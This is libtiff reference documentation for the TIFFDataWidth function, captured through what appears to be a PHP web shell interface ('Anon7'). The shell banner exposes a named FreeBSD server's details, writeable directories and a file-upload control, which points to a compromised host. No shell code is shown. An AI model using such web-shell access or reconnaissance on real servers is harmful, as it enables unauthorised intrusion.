KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /usr/local/share/doc/tiff-4.6.0/manual/_sources/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/share/doc/tiff-4.6.0/manual/_sources/functions/TIFFDataWidth.rst.txt
TIFFDataWidth
=============

Synopsis
--------

.. highlight:: c

::

    #include <tiffio.h>

.. c:function:: int TIFFDataWidth(TIFFDataType type)

Description
-----------

:c:func:`TIFFDataWidth` returns the size of *type* within TIFF file in bytes.
Currently following data types are supported:

* :c:macro:`TIFF_BYTE`
* :c:macro:`TIFF_ASCII`
* :c:macro:`TIFF_SBYTE`
* :c:macro:`TIFF_UNDEFINED`
* :c:macro:`TIFF_SHORT`
* :c:macro:`TIFF_SSHORT`
* :c:macro:`TIFF_LONG`
* :c:macro:`TIFF_SLONG`
* :c:macro:`TIFF_FLOAT`
* :c:macro:`TIFF_IFD`
* :c:macro:`TIFF_RATIONAL`
* :c:macro:`TIFF_SRATIONAL`
* :c:macro:`TIFF_DOUBLE`
* :c:macro:`TIFF_LONG8`
* :c:macro:`TIFF_SLONG8`
* :c:macro:`TIFF_IFD8`

Return values
-------------

:c:func:`TIFFDataWidth` returns a number of bytes occupied by the item
of given type within the TIFF file. 0 returned when unknown data type supplied.

See also
--------

:doc:`libtiff` (3tiff)

Anon7 - 2021